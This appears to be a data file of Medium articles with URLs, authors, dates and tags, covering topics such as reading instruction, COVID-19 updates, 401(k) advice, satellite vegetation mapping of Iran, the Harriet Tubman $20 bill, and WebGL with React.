The research is clear about what works. Children become readers when they are taught essential reading skills, and too many schools neglect some of these skills. Effective reading programs teach: phonemic awareness — the ability to hear and work with the individual sounds or phonemes within spoken words; phonics — which allows readers to use the sounds of letters to recognize words; fluency — the ability to read accurately, quickly, and with good expression; vocabulary — word meanings; and comprehension — how to understand what is read. Children need to be taught all of these things, and teachers need to know how to teach them effectively.
Scientifically based reading research also tells us that effective instruction is not a hit-or-miss proposition. It requires systematic teaching strategies linked to supportive instructional materials and delivered in a coordinated sequence that allows for ample practice. It is also important that early learning be monitored carefully so that appropriate adjustments can be made if a child isn’t making adequate progress.
Since we have this critical scientific knowledge about reading instruction, how do we apply it in all classrooms to provide all children the reading skills they need to succeed? How do we ensure the research is implemented properly and effectively? How do we move from rhetoric to results? A valuable starting place is encouraging schools to purchase materials based on the research, to provide needed professional education so that teachers know how to teach these skills, and to provide support for the assessment and supplemental instruction that struggling readers need to succeed. These possibilities become even more essential as the majority of school districts looks to deliver a sizable portion, or even all, of 2020–21 instruction in a virtual environment.
Given that reading is the cornerstone of all learning, reading instruction must be elevated to a first-among-equals status on the to-do list of education improvement, particularly as hybrid learning becomes the new normal of the American classroom. We must ensure that scientifically based knowledge of reading is used by teachers in classrooms and that teachers are empowered to tailor their instruction to meet the literacy needs of their students. Parents must also become more aware and look more closely at the teaching and learning process, investigating the “how” of their children’s learning.
Reading, learning and succeeding — as a student and as an adult — are all linked together. And it is a link that can and must be forged early. Research shows that students who are not proficient readers by the end of third grade are likely to struggle in other subject areas, leaving them frustrated and, often poorly educated and placed at a lifelong disadvantage. This needn’t be the case. With research-based instruction, just about all of our children can be taught to read well, avoiding many of these long-term struggles.
The ability to read is the most fundamental component of learning. Acquiring reading skills does not happen by chance. Teaching reading is a science that requires careful application and measurement. In short, scientifically based reading instruction is how Johnny and Jane can learn to read. | https://medium.com/the-faculty/if-we-want-johnny-to-read-we-need-to-teach-literacy-the-proven-way-1bc7285af6 | ['Patrick Riccards'] | 2020-08-29 08:54:19.355000+00:00 | ['Education', 'Teachers', 'Literacy', 'Teaching', 'Reading'] |
Solved Darden Case Study Solution: Value Line Publishing By Michael J Schill (Download Now) | Solved Darden Case Study Solution: Value Line Publishing By Michael J Schill (Download Now) Writer Kingdom Feb 23·4 min read
Download Now:
Description
Solution Pages: 9
Files that you will download:
Word (.docx) & Excel (.xlsx)
Questions Covered in the Solution
Part One: Stand Alone Analysis: Assess the financial condition of each firm on a
stand alone basis.
Historical Financial Analysis: Home Depot
Using financial ratios given in the case and other financial metrics, assess the historical
financial performance of Home Depot from 1997 to 2001. What picture are the ratios
painting? What does the trend suggest about the operational performance of the firm?
What is the sustainable growth rate (SGR) for the firm? What is it telling you? What is the implication when compared to Total Sales Growth? Reformat the Income Statement to show EBITDA. Calculate EBITDA margin, EBIT margin, COGS margin, Gross Margin, Net Profit margin and Sales per Employee. Analyze the trend over the four year period. What does the trend suggest about the operational performance of the firm? Calculate the Free Cash Flow to the Firm ( FCFF) and the Cash Conversion Cycle (CCC). Analyze the trend. What are the drivers? What does the trend suggest about the operational performance of the firm? Calculate the historical ROIC and compare to the firm’s WACC. What does the ROIC — WACC spread tell us? What does it suggest with respect to the efficient deployment of capital? Given the historical analysis you have performed, what is the overall financial condition of Home Depot? Calculate Gross Margins, COGs Margin, EBIT margin and NOPAT margin, CCC, FCFF and ROC on a proforma basis. Assess the trend.
Historical Financial Analysis: Lowe’s
Calculate the Home Depot ratios given in the case for Lowe’s. Perform the same calculations and analysis as number 1 to 8 above. Using the assumptions given in the case for Home Depot develop a Pro-forma year forecast for Lowe’s (i.e. 2002 to 2005) Calculate Gross Margins, COGs Margin, EBIT margin and NOPAT margin, CCC , FCFF and ROC on a proforma basis. Assess the trend.
Part Two: Comparative Analysis: Comparing the relative financial condition of
each firm.
Based on the historical financial analysis performed above, compare the financial relative financial performance of each firm. How do the firms compare? Is one firm clearly in a better financial position than the other? Was Carrie G. correct on her outlook? On a proforma basis, given the financial metrics calculated, is one firm in a better financial position than the other? Is Carrie correct given your comparative analysis? What should value line do? What would you recommend?
Check this solution too: Solved Exam Solution: Finance Exam Bangor University (Download Now)
Sample of Solution
Case Summary
Building retail-supply industry, with the magnitude of $175 Billion, has been traditionally constituted of hardware stores, lumberyards, and large-format home centers. The industry has been poised to grow even though at a comparatively lower rate but still 4.2% for 2001 on the back of robust housing-construction. Dominated by Home Depot and Lowe’s, the industry provides a lucrative investment opportunity due to the potential of significant growth. Both the companies, despite owning a third of the market share, are aggressively investing in their own-store capacity to increase their market penetration. Moreover, with the fierce competition, the industry is facing consolidation, rooting out the smaller players.
For Instance, Home Depot has acquired different warehouse companies, including flooring company which would eventually entitle Home Depot as the largest supplier of flooring in the residential properties. Whereas, the company has established a significant footprint in the Professional customers’ market, Home Depot has also gained international exposure with its presence in Mexico and Canada. While focusing on improving market share in product sales through segmentation, the company has also expanded its revenue horizon using installation services which currently at $ 3 Billion and are poised to grow at 30% per annum. Although, increased competition from Lowe’s, concerns the investment community but Home Depot’s new CEO Bob Nardelli is committed to increasing corporation’s profitability by increasing revenue with 15% to 18% growth rate and strategic cost reduction.
…….
2. Case Analysis
For the strategic evaluation of both the companies, analysis on historical and pro forma financial statements are included. Comprehensive financial analysis is conducted while covering both qualitative and quantitative evaluations of companies.
From the analysis of historical financial statements it can be evaluated, how effective has been the management in executing the previously proposed strategies. Whereas the pro forma statements would enable analysts to realize the potential of growth in company operations. Essentially, Carrie is conducting analysis considering investors would be most interested in an opportunity that can procure the highest return with the limited exposure to risk.
Historical Financial Analysis:
Home Depot:
The company may have significant potential for growth, particularly due to its international exposure, which its direct competitor still lacks. Whereas, analysis of the financial ratios would provide us the intricacy of the company’s financial standing.
………. | https://medium.com/@writerkingdom4/solved-darden-case-study-solution-value-line-publishing-by-michael-j-schill-download-now-76c68375d5fe | ['Writer Kingdom'] | 2021-02-23 00:51:29.706000+00:00 | ['Assignment Solution', 'Homework Solution', 'Case Study Solution', 'Solved Darden', 'Solution'] |
Covid-19 Live Updates: The U.S. Sets Records for New Cases and Deaths Heading Into the Holidays | President Emmanuel Macron of France has tested positive for the virus and is isolating. Smaller vaccine shipments take state officials by surprise.
RIGHT NOW
A second vaccine moves closer to U.S. authorization.
Here’s what you need to know:
Emergency room technicians outside triage tents set up to handle an overflow of patients at St. Mary Medical Center in Apple Valley, Calif., earlier this month. Credit…
Just as the United States greets the arrival of promising vaccines — and prepares to celebrate a starkly transformed holiday season — more Covid-19 deaths are being reported each day than at any other time during the pandemic.
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The nation set single-day records on Wednesday for reported deaths, with more than 3,600, and for newly reported cases, more than 245,000. The previous case record was set last Friday, when more than 236,800 new infections were announced, not including tens of thousands of significantly older cases reported that day.
Three times as many more people in the United States are dying each day now than three months ago, and the number of new cases is six times what it was then. Also, with large cities already ravaged by the virus, it is now exacting a deadly toll on many midsize cities.
In the past week, just over 30 percent of the nation’s coronavirus-related deaths were reported in the South, and nearly 30 percent in the Midwest. Pennsylvania, Arizona and Kansas in particular have seen dizzying growth in death tolls over the last seven days; North and South Dakota registered the most deaths relative to the size of their populations.
Nevada reported 57 deaths on Wednesday, a record. “That’s another 57 Nevadans who will be missed by loved ones this holiday season,” Gov. Steve Sisolak wrote in a Twitter post.
California, the nation’s most populous state by far, has been averaging 202 deaths a day recently. The state has bought 5,000 extra body bags and set up 60 refrigerated storage units around the state to help local coroners, Gov. Gavin Newsom said on Tuesday.
It is hard to say whether the precipitous rise in cases in December is directly linked to gatherings and travel over Thanksgiving, “but certainly, there’s an association,” said Catherine L. Troisi, an infectious-disease epidemiologist at the University of Texas Health School of Public Health in Houston.
Anyone who was going to become ill from an infection caught over the holiday weekend would probably have done so by now, Dr. Troisi said. But they could also have spread it to others who are only now showing symptoms and being tested. “So there’s a continuing ramification of these cases,” she said.
The first shots of a vaccine made by Pfizer and BioNTech were administered on Monday, and another vaccine, made by Moderna, is expected to receive emergency authorization from the Food and Drug Administration this week.
Even with the arrival of the first vaccine and another on the way, it “doesn’t help us right now to put out the wildfire,” Dr. Troisi said.
“I think things are going to get worse for a while,” she said. And in the meantime, what happens “is entirely up to us,” she added, emphasizing the need to take precautionary measures. | https://medium.com/@tripurariya707/covid-19-live-updates-the-u-s-sets-records-for-new-cases-and-deaths-heading-into-the-holidays-c5834deb88fa | [] | 2020-12-18 00:25:23.525000+00:00 | ['Covid 19', 'Updates', 'NCAA', 'NFL', 'Us'] |
The unbearable lightness of… letting go | Photo by Luca Upper on Unsplash
Let it go
I was once told,
By a well-meaning person, or two.
However,
Learning to let go
It can take years.
For it takes a special kind of courage,
Doesn’t it?
Letting go can be an accidental occurrence,
It can be unknowingly practised,
Or a deliberate attempt at forgiveness
It can come at the end of a prolonged period of trauma
Or appear over years of acquired wisdom.
But usually,
It simply happens
When you’re ready.
Let go, they said:
Of your disappointment when life and people fail you
Of the burden of perfection
Of the need to be right, or to be perceived as right.
Let go
Of guilty past lives, of memories that still hurt
Of failed romances, of friendships that have run their course
Let go
Of suffocating expectations from anyone
Who make you live a false version of yourself
Let go
Of trying too hard to be liked, applauded, or talked about
Of giving up too much to be worthy of the one you love
Let go
Of intrusive thoughts that badger your self-worth
Of inexplicable fears that haunt you in the dark.
Let go
Of what might have been,
Of pursuing misguided fantasies and alternate lives better-lived
Let go
Of a 1000 nagging little regrets,
Of the sharp sting of failure and the slow burn of betrayal
Let go
Of the things that don’t sit well in your spirit
And bother you as you walk the lonely road of life’s night.
Well.
As if it’s that easy,
To let go.
But,
When you finally do,
You’ll finally find the joy of weightlessness. | https://medium.com/@mae189/the-unbearable-lightness-of-letting-go-6c420a7a150a | ['Maryann Thomas'] | 2021-06-29 10:29:43.459000+00:00 | ['Forgiveness', 'Letting Go', 'Musings', 'Philosophy', 'Thoughts'] |
Youtube, better than TV | Also published on Wordpress.
I have made a few blogs arguing against the belief that traditional celebrities are inherently more talented than Youtubers. I mean, considering Youtubers started their careers by doing everything by themselves and they had to wait years for their efforts to pay off (assuming they will ever pay off), the belief is as preposterous as the so-called flat earth “theory”.
But, somehow, I didn’t think of one aspect of Youtube: how the content is presented to us, the consumers.
On TV, you cannot simply watch anything you want. The TV bosses are the ones who dictate on which shows to green-light, continue and cancel, which episodes to repeat or not repeat, which time the shows should air and which scenes to cut. Customers are not kings.
Admittedly, they are not kings on Youtube either. The trending pages are rigged and there are still content restrictions; in unfortunate circumstances, videos and even entire channels can be wrongfully taken down.
But, Youtube videos won’t be taken down simply for being unprofitable or niche. Considering literally everyone has the right to create content, almost every type of content imaginable is almost certainly present on the website. If you have niche interests or if you are a member of a marginalised community, you can definitely find videos which entertain or empower you.
Oh, and don’t forget you can actually pause, rewind and restart the videos and you don’t have to watch them immediately once they are up! Once they are there, you can watch them literally at any time you want… assuming they won’t be taken down, of course.
Even if you can attest to the inherent superiority of traditional celebrities, you have to acknowledge the temporal flexibility of digital platforms like Youtube; our pesky lists of obligations will never ruin our viewing experiences.
I know I am stating the obvious here. But, sadly, it is not obvious enough for everyone.
I still encounter (admittedly older) people who cannot comprehend that pausing and rewinding are a thing. They genuinely think TV and Youtube work the same way.
.
.
.
.
.
Donate to this deadbeat, preachy blogger on Patreon. | https://medium.com/@dachmad/youtube-better-than-tv-34f89a0750b3 | ['The Stammering Dunce'] | 2021-02-26 15:22:20.828000+00:00 | ['YouTube', 'TV'] |
COVID-19 as a college student | Perspective on the pandemic from a young adult
Being a college student during a pandemic is one of the hardest things to got through because while you are self-isolating and following the rules, it feels like everyone around you is not.
As a sit in my apartment with only one roommate, it is dead silent because we are both focused on homework and finals.
When I go on Instagram it feels like everyone else is going out and having the time of their lives, while I have not left my apartment in 2 weeks. Sometimes it feels like I am the only one who cares to not get or spread COVID-19.
After feeling like this for months and months I decided to do an Instagram poll to see what the people who follow me think of the pandemic. I am a little scared to see the outcome but have to accept that there will be people who don’t agree.
I start with the obvious questions of asking if they think it's serious and of course, 100% of people said yes. I also asked if they wear a mask and 99% of people said yes, which I am not surprised by. After I got done with the easy questions I began with the questions that scared me most like, do you see people outside your household, do you self-isolate if you have symptoms, and do you think that you are doing enough to stop the spread.
I found out that 63% of people socialize with people outside their household. I am not too mad about this number because I will admit that I travel home to see my family and have seen some friends and family, not in my household. I also saw that 84% of my followers would self-isolate if they had symptoms which I found amazing considering that there are a lot of people my age that wouldn’t do that I also saw that only 64% of people felt like they were doing enough to stop the spread. I was surprised that there was a good number of people who are admitting they don’t do enough.
Looking at these numbers, it is obvious why the COVID numbers in California are rising, but I think that the people I surround myself with, online, are people who know and believe what is going on.
Recently in the news, there have also been scandals of Governor Gavin Newsom going to parties and not following his own rules. This is even more infuriating because for so long I felt that he cared and was on top of keeping California safe, but now I don’t feel that way.
I also thought that it was interesting that right after we saw pictures of Newsom going out, we also see numbers rising in California and are sent into another lockdown and who knows when it will end. It is frustrating to see that even those who are supposed to care about our health and safety are sending us the message that they don’t.
Going through 2020 has been one of the worst rollercoasters ever and it reminds me of a quote by John Steinbeck. “To be alive at all is to have scars.” I am definitely glad that I am alive and healthy as this year comes to an end, but I will for sure have many scars from this year. | https://medium.com/@madison-starobin/covid-19-as-a-college-student-ca49be4c75b1 | ['Madison Starobin'] | 2020-12-26 20:42:27.638000+00:00 | ['Covid 19', 'College', 'Isolation'] |
3 Reasons Not to Save in Your 401(k) | The Motley Fool | 3 Reasons Not to Save in Your 401(k) | The Motley Fool Staff Follow Mar 11 · 4 min read
The actor Samuel L. Jackson didn’t get his big break in Hollywood until he was 43 years old. That’s an unconventional path for a movie star and a reminder that the road to success isn’t the same for everyone. Just as Jackson found his way to stardom, you can find your way to financial independence — with or without contributing to a 401(k).
The conventional retirement advice involves saving 15% of your income to your tax-advantaged 401(k), increasing those contributions every year, and investing for the long term in diversified mainstream investment funds. All of that is solid and appropriate advice for most working Americans. But as with anything, there are exceptions. Here are three situations when saving to your 401(k) may not be in your best financial interest.
IMAGE SOURCE: GETTY IMAGES
1. There’s no employer match
401(k)s have their perks, including tax-free contributions and tax-deferred earnings. But the biggest perk is the employer-match contribution, which is an employer-funded deposit made to your retirement account. This is free money, and you qualify for it by making your own contributions. Typically, the employer matches your contribution up to a specified percentage of your salary. If your employer offers matching, you should contribute at least enough to maximize those free deposits.
A 401(k) without employer-match is definitely less interesting, but you shouldn’t write off your workplace plan for that reason alone. The question to ask at this point is: Do I have someplace better to put my money? Two possible answers might be a health savings account ( HSA) or a Roth IRA.
Compared to a 401(k), the HSA has lower annual contribution limits, but better tax perks. In 2020, you can contribute up to $19,500 to a 401(k), but only $3,550 to an individual HSA or $7,100 to a family HSA. 401(k) contributions are pre-tax, but your retirement distributions after age 55 are taxed as income. HSA contributions are pre-tax and distributions for qualified medical expenses are always tax-free. You can take HSA distributions for nonmedical expenses after age 65, and these are taxed as income.
If you’re single and you make less than $124,000 annually, you can contribute up to $6,000 to a Roth IRA in 2020. The income cap for married filers is $196,000. You get no tax break for making these contributions, but you can take tax-free withdrawals after age 59 1/2. Roth IRAs have another perk, too. You can withdraw your contributions — but not the earnings — at any time without taxes or penalties.
2. The fees are too high
High fees are a deal-breaker for any 401(k) plan. Administration fees can be as high as 2% of your account balance annually. Plus, the funds you select as investments will also charge fees, and these can vary from less than 0.1% up to more than 1%. Together, your plan fees and fund fees dampen returns and limit your earnings growth.
If the only investment choices in your plan have expense ratios of 1% or more, consider investing your money elsewhere. You can easily open a Roth IRA, traditional IRA, or even a taxable brokerage account and invest in index funds that’ll deliver market-level performance with minimal fees.
3. You plan to retire before 55
401(k)s are structured to keep you from tapping your funds until you’ve left the workforce. That’s good and bad. It’s good to discourage savers from spending their nest eggs before retirement. But it’s also restrictive for those who want to retire early. Under the current rules, you can access your 401(k) savings without penalty as early as 55 if you are retired. But if you save enough to allow for an earlier retirement, you’ll pay a penalty to dig into those 401(k) funds.
The takeaway? If you plan to retire before age 55, the 401(k) isn’t the right answer. Open a taxable brokerage account and save your money there. You’ll miss out on tax perks, but you won’t be subject to withdrawal penalties. You can minimize your annual tax bill with long-term investing in a diversified portfolio of stocks and tax-efficient funds.
The 401(k) isn’t for everyone
The 401(k) is not a universal solution. The non-negotiable steps to financial independence involve saving double-digit percentages of your income and holding a diversified portfolio, both for the long term. Whether you do that in a 401(k) or not is entirely up to you. | https://medium.com/the-motley-fool/3-reasons-not-to-save-in-your-401-k-the-motley-fool-10f0aded8327 | [] | 2020-03-12 01:44:06.192000+00:00 | ['Money Management', 'Money', 'Retirement', 'Saving Money', 'Retirement Planning'] |
My Favourite Rita Pam Album | Personally, my favourites are Adoration (From her first album, Beautiful), Joy is like the rain is also good, it’s a cover of the original song by Medical Mission Sisters, originally released in 1966.
I also love Anna, Change the tide, In Your Presence, Fire and Away, all from Rita’s second album, Anna.
Coming to Rita’s third album, I can’t even pick a favourite song.
My honest opinion is that Journey is the best, for now. We’ve seen Rita explore different styles, especially Trance, House and Techno. Her EDM songs sound way better.
Do you have a favourite Rita Pam album? And which one is it? | https://medium.com/@ritapam/my-favourite-rita-pam-album-f6382eb149c5 | ['Rita Pam'] | 2020-12-06 20:45:26.343000+00:00 | ['Anna', 'Album', 'Journey', 'Rita Pam', 'Beautiful'] |
Monitoring Iran’s Vegetation Density & Coverage via MODIS Satellite Imagery | 2017 to 2020
This article shows the state of vegetation health across Iran between May 2017 and May 2020 as calculated using the Normalized Difference Vegetation Index (NDVI) from NASA’s MODIS satellite, via the Soar platform. The month of May was chosen because it is the best maximum representation of vegetation growth across the region. This analysis takes into account the effects of both climate and topography.
The darkest green areas mainly consist of mixed dense Caspian Hyrcanian (northern Iran) and Zagros mountain oak forests (western Iran). However, it should be noted that significant intensive farming is also found both around the aforementioned locations and also throughout the nation as a whole.
Caspian Hyrcanian forest in northern Iran (left) & Semi-arid landscape farming in eastern Iran (right)
In particular, substantial areas of intensive farming has been developed over the last three years in central, southern and north-western Iran, further drawing on water resources from local landscapes, which are otherwise considered semi-arid or even desert (brown to beige).
Interestingly, over the past 3 years, overall Iran is becoming greener during the month of May as shown with areas of increased farmland throughout the nation, no matter the landscape or terrain.
The subset image below shows the growth in both intensity as well as extent of farming around Shiraz, Fars Province between 2017 and 2020.
The Iranian plateau is also home to many lakes which are found at different altitudes and landscapes. The last two winters in Iran have seen above average rain and snowfall which has resulted in several interesting changes:
🔗 Infilling of Lake Urmia in north western Iran
🔗 Increased surface run off from mountains forming greener valleys
🔗Unprecedented flooding and subsequent filling of many desert lakes such as the Jaz Murian Depression in south east Iran which increased to over 3,000km2 (see below)
In conclusion, it is apparent that whilst Iran is infact ‘greening’ the merits and source of this increased vegetation density and extent is worthy of further analysis. On one hand, the welcomed increase in rain and snow-fall in the past couple of winters has helped, but it is also clearly evident that farming has also drastically increased. The imagery data in this poster shows that this increase is not limited to just one region, rather it is widespread to include semi-arid and desert landscapes. Finally, the state of Iran’s mountain forests is undetermined and it is hard to ascertain their current status with the supplied imagery data, however it is hoped that increased forestry management by authorities is working
Special notes: | https://medium.com/soar-earth/iran-vegetation-density-coverage-5a8a25929324 | ['Darren Smith'] | 2020-07-29 05:27:05.376000+00:00 | ['Ndvi', 'Vegetation', 'Iran', 'Satellite', 'Climate'] |
Delhi weather update: Light rain likely in national capital over next 2 days, says IMD | Delhi weather update: Light rain likely in national capital over next 2 days, says IMD
The city recorded a minimum temperature of 10.9 degrees Celsius on Thursday. The maximum temperature is likely to settle around 29 degrees Celsius. Geist Dec 10, 2020·2 min read
The national capital and its neighbouring cities are likely to receive light rainfall over the next two days under the influence of a fresh western disturbance passing over the Himalayas, the weather department said on Thursday.
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Jammu and Kashmir, Himachal Pradesh and Uttarakhand have also received a fresh spell of snowfall due to the western disturbance.
“After the western disturbance withdraws, icy cold northwesterly winds blowing from snow-laden Himalayas will bring temperatures down in the plains,” an official of the India Meteorological Department (IMD) said.
The minimum temperature is expected to drop to 8 degrees Celsius by Monday, according to an IMD forecast.
The city recorded a minimum temperature of 10.9 degrees Celsius on Thursday. The maximum temperature is likely to settle around 29 degrees Celsius.
Delhi’s air quality was recorded in the “very poor” category, and is likely to improve over the next two days due to a predicted increase in the wind speed and light rain.
The city’s air quality index (AQI) was 304 at 10 am. The 24-hour average AQI was 358 on Wednesday.
An AQI between zero and 50 is considered “good”, 51 and 100 “satisfactory”, 101 and 200 “moderate”, 201 and 300 “poor”, 301 and 400 “very poor”, and 401 and 500 “severe”. | https://medium.com/@geist_2487/delhi-weather-update-light-rain-likely-in-national-capital-over-next-2-days-says-imd-ad7148985d9f | [] | 2020-12-10 08:23:37.354000+00:00 | ['Indian', 'Național', 'News', 'Weather'] |
Striking Out on Tubman | Terry H. Schwadron
May 27, 2019
Let’s just say for a moment that you’re a Donald Trump trusted advisor.
You’re bothered by hearing repeatedly that the boss is a racist and a misogynist, that the Charlottesville stain just won’t go away, that hate speech and bad behavior is up in the country, and that the White House just isn’t dealing with it all.
If it were me, I’d tell Trump that he has an easy win in place — to welcome the populist move to put an image of freedom fighter Harriet Tubman on the $20 bill. As a black woman, a former slave, an abolitionist and “conductor” for the Underground Railroad, here in our hot little hands is a public relations victory to really go out an celebrate with no Democratic criticism.
But no.
Instead, Treasury Secretary Steve Mnuchin went out of his way last week to tell a congressional hearing that not only is there no plan right now — — but there will be none until sometime in 2028, when Trump and company will officially no longer be in the White House.
Until then, in fact, we can continue to look at Andrew Jackson, seventh president, Southerner and slave owner and who had been a successful general against the British in the Battle of New Orleans in the War of 1812.
Yes, it was an Obama era initiative to replace Jackson. After a popular “vote” — one with no electoral college — Americans advised that then Treasurer Jacob Lew choose Tubman, which he did.
What happened?
According to The New York Times,Mnuchin, “concerned that the president might create an uproar by canceling the new bill altogether, was eager to delay its redesign until Trump was out of office, some senior Treasury Department officials have said. As a presidential candidate in 2016, Trump criticized the Obama administration’s plans for the bill.”
Trump called the change “pure political correctness” and suggested that Tubman, whom he praised, could be added to a far less common denomination, like the $2 bill. “Andrew Jackson had a great history, and I think it’s very rough when you take somebody off the bill,” candidate Trump had said.
Trump frequently has described Jackson, whose portrait hangs in the Oval Office, as a populist hero who reminds him of himself. Early in his presidency, “Trump stopped to lay a wreath at Jackson’s tomb at the Hermitage, his plantation in Nashville. ‘It was during the Revolution that Jackson first confronted and defied an arrogant elite,’ Trump told a crowd. ‘Does that sound familiar?’”
Now, Mnuchin never told members of Congress that an order had come from Trump, but as former Trump whisperer Michael Cohen said, you never have to ask Trump for an order. Mnuchin said he was too busy worrying about counterfeit $10 and $50 bills to worry about whose picture would be on the twenty.
So, let’s return to our mythical advisory role.
There are only two alternatives. Either Trump can’t stand to abide to let an Obama decision stand, or he doesn’t mind being hung with the racist label. A Washington Post editoriallabeled the administration “petty and narrow-minded as to go out of its way to thumb its nose at women, minorities and history.”
In case you won’t admit not knowing, Tubman was born into slavery, escaped and then returned to the South, where she led other slaves to freedom. She was a Union scout during the Civil War and later advocated women’s voting rights. Jackson orchestrated the removal of Native Americans from lands to the east of the Mississippi River and sent them marching west on the so-called Trail of Tears.
During the Civil War, Tubman worked as a nurse, a cook and a spy for the Union, according to the book, “Harriet Tubman: Secret Agent,” by Thomas Allen. Tubman worked as a spy for the Union and was connected to the abolitionist John Brown, who led the raid against a federal armory in Harpers Ferry, Va., now in West Virginia. Allen wrote that Tubman was the only woman who led men into battle during the Civil War. Tubman persuaded formerly enslaved men to track Confederate camps and report on their movements. After the war, in 1866, Tubman was traveling with a “half-fare ticket” from Philadelphia to New York, when the conductor ordered her to move to the smoking car, according to the book, “Bound for the Promised Land: Harriet Tubman, Portrait of an American Hero,” by Kate Clifford Larson. Tubman refused to budge. “She explained that she was working for the government and was entitled to ride wherever she liked,” and fought off the conductor. At her direction, Union gunboats were able to surprise the Confederate rebels, raiding plantations and freeing slaves. On her death from pneumonia on March 10, 1913, Tubman, she supposedly said, “On my Underground Railroad,” she said, “I [never] run my train off [the] track. I never lost a passenger.”
In other words, she is perfect for memorialization.
Instead, in 2017, Trump officials erased Tubman from the Treasury Department website.
Senator Jeanne Shaheen, D-NH, has a bill demanding that the Treasury Department place the likeness of Tubman on $20 Federal Reserve notes printed after Dec. 31, 2020. Women have appeared on United States currency a handful of times, often on seldom-used $1 coins. In the 19th century, Pocahontas and Martha Washington were the first women to make it onto American currency — and the last to make it onto paper. Pocahontas appeared among a group of men on the $10 bill and the $20 bill in the late 19th century. Washington was on $1 silver certificates in 1886, 1891 and 1896.The suffragist Susan B. Anthony was the first woman to appear on an American coin: a dollar produced from 1979–81 and again, briefly, in 1999.
##
www.terryschwadron.wordpress.com | https://medium.com/@terryschwadron/striking-out-on-tubman-77e6d32d5fd5 | ['Terry Schwadron'] | 2019-05-27 10:40:33.721000+00:00 | ['Racism', 'Trump Administration', 'Money', 'Trump', 'Harriet Tubman'] |
Progressive Enhancement with WebGL and React | These days, it’s very common to mix creative technologies like WebGL with traditional HTML/CSS when building websites. In this post, I will try to outline how we at 14islands approach this trend to ensure the content is still available to as many visitors as possible. All of these techniques were used on our new company website 14islands.com.
Thoughts on accessibility
Go back just a few years and responsive web design, progressive enhancement and mobile-first were all the rage. Here’s the thing — they are still valid practices, and just because we have access to new shiny toys doesn’t mean we get a free pass to only build websites for desktop screens and the latest browser technology.
Assumptions made by most WebGL websites
Everybody loves a cool loading animation — Having a preloader allows the browser to download all assets before showing the website. Large images are known to cause lag as they are uploaded to the GPU for the first time. For this reason, it’s common for WebGL apps to preload and pre-render textures before showing the website.
Everybody loves to scroll — Having only one long page means the WebGL canvas can create all objects for the whole website on page load (during the preloader animation), and there are no requests to load new pages or new assets to worry about.
Everybody has a modern browser — Building for advanced browsers and adding polyfills for missing features. Some websites even lock the user out if the browser lacks support for a modern feature.
Because of these assumptions, it’s common to create and position all content using Javascript (e.g. https://github.com/react-spring/react-three-flex). Sometimes, text content is rendered only as WebGL textures, which makes the content essentially images.
In reality, it depends™️
If you’re doing a cool campaign site or interactive experience, many of these assumptions might be correct. However, for many projects, having quick access to the content, a high level of accessibility and SEO are equally important to delivering a memorable creative experience.
Not all websites can afford a long loading animation. Visitors have short attention spans, and it can impact conversion rates and sales.
A progressively enhanced experience
We usually use Gatsby.js on our projects. It’s fast, has a good ecosystem of plugins to speed up common tasks, and offers server-side rendering out of the box.
As any fan of static websites knows, server-side rendering is great for SEO and accessibility since the content can be accessed without executing a bunch of Javascript. We also want to make sure text content is available even if WebGL isn’t supported.
In fact, our javascript heavy React and WebGL website even renders without Javascript support: 😲
With Javascript enabled but no WebGL support, you get some fancier hover states and the ability to play our showreel in a cool dark cinema mode: 😎🍿
And if the browser supports WebGL, you get all the gooey blob magic: 🎩🐇
When feature detection falls short
Unfortunately, some browsers will gladly say that they support WebGL, but they are simply too weak to run the code with good performance.
There’s no good way to feature-detect powerful devices. Some try to measure the frame rate over time or use a combination of other features, but none of them are very robust. In our case, we simply base it on screen size and assume that a larger screen corresponds to a more powerful device (which may or may not be true).
React & Three.js
We like to use the Three.js WebGL library. The pace at which it updates and introduces breaking changes is mind-blowing. Any third-party react library that tries to provide a 1:1 mapping of Three.js objects to React components will probably not be maintained for long.
react-three-fiber takes a different approach by hooking into the React reconciler and proxies JSX tags to Three.js objects. It doesn't even care what version of Three we are using, which makes it future proof. Having said that, there are definitely pitfalls and enough performance gotchas for a future blog post. 😬
Enhancing with WebGL
We created a framework on top of react-three-fiber that enables us to add WebGL functionality to any existing React component on the website.
At the core we have one global shared WebGL canvas that stays in between page loads:
export const wrapRootElement = ({ element }) => (
<>
{element}
<GlobalCanvas/>
</>
)
Each UI component can opt-in to use this global canvas using a custom useCanvas() hook:
const Image = () => {
const ref = useRef()
// add webgl component to global canvas while mounted
useCanvas(<WebGlImage image={ref} />) return <img ref={ref} src={...} />
}
When the <Image> component mounts, it tells the global canvas to render <WebGlImage> . It will also automatically remove the WebGL mesh and clean up resources when it unmounts.
This keeps our code modular and hides the details of the WebGL implementation from regular UI components.
The <WebGlImage> is responsible for hiding the normal image element and draw a WebGL mesh in its place.
Syncing DOM content with WebGL canvas 🔮
A big challenge is to sync the fixed canvas elements with the scrollable HTML content. The technique we use largely follows an approach that tracks “proxy” elements in the normal page flow and updates the WebGL scene positions to match them.
Since Javascript is inevitably slower than native scrolling, this can make the WebGL scene feel laggy. The most common way to fix this is to have some easing on the WebGL position update.
Here’s an example of a WebGL image with easing next to some normal content. Notice how the image all of a sudden feels more smooth than the DOM content because of the easing:
To fix this, most websites also introduce a virtual scroll on the HTML content with a matching easing function. This makes the whole page move with the same feeling, and while it’s for sure less performant than a native scroll, it still perceived as being smoother when all items move at the same speed:
A virtual scroll means that we move all HTML content with Javascript, and it’s a known source of many accessibility issues. For some projects, it’s worth the trade-off, while other projects might require a higher level of accessibility.
There are many libraries for virtual/smooth scrolling available. We suggest you pick one which at least retains the browser’s native scrollbar.
Closing thoughts 💡
To be honest, if load time and maximum device support is your highest priority, you shouldn’t use WebGL at all. But for some websites (like ours), there is a good middle ground.
By adding WebGL to existing HTML elements on the page, we can split up the work better. Some developers can focus on building a solid responsive website layout, and the WebGL can be added on top in a second iteration. Of course, everything needs to be thoroughly tested together, as there are many performance pitfalls when using this technique.
There are downsides to this approach. Loading large images might cause scroll jank, and it becomes harder to achieve smooth page transitions when everything isn’t preloaded. Accessibility also takes a hit due to having virtual scrolling of the DOM.
Let us know if you have ideas on how to improve this even further, we’d love to hear more how others approach this! | https://medium.com/14islands/progressive-enhancement-with-webgl-and-react-71cd19e66d4 | ['David Lindkvist'] | 2020-09-10 12:12:53.525000+00:00 | ['Development', 'React', 'HTML', 'Webgl', 'Threejs'] |
Use PostgreSQL instead of Elasticsearch when you don’t really need it | Using the power of PostgreSQL with Full Text Search combined with Similarity
What does PostgreSQL offer us?
The pg_trgm extension:
The pg_trgm module provides functions and operators to determine the similarity of alphanumeric text based on trigram matching, as well as index operator classes that support fast searching for similar strings.
